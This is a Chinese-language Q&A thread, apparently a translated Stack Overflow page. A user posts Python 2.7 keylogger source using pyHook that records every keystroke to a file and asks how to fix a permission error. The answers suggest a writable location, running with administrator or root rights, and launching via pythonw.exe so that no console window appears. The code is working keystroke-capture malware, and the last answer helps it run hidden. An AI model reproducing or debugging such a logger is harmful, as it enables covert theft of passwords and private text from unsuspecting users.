我刚用python 2.7制作了一个键盘记录器,但它不起作用。这是键盘记录代码:
import pyHook, pythoncom, sys, logging
file_log = 'C:\keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
print "You pressed: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
这是我得到的错误:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "<stdin>", line 2, in OnKeyboardEvent
File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging\__init__.py", line 913, in __init__
StreamHandler.__init__(self, self._open())
File "C:\Python27\lib\logging\__init__.py", line 943, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'
我的python文件夹在这里:
C:\ Python27
如何让键盘记录器工作?
答案 0 :(得分:0)
我可以建议尝试在文档中创建文件
IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'
答案 1 :(得分:0)
尝试使用windows中的本地管理员权限或linux中的root运行脚本。
在Windows中,您可以以管理员身份打开powershell / cmd shell。
在linux中使用sudo命令和你的脚本:sudo python_script.py args
OP评论后: 尝试使用pythonw.exe而不是python.exe运行它,如下所示:
C:\Python27\pythonw.exe your_script.pyw
PYW文件类型主要与Python的“Python”相关联 软件基金会。 PYW文件在Windows中用于指示a 脚本需要使用PYTHONW.EXE而不是PYTHON.EXE运行 为了防止DOS控制台弹出来显示输出。 这个补丁可以导入这些脚本,以防它们出现 也可用作模块。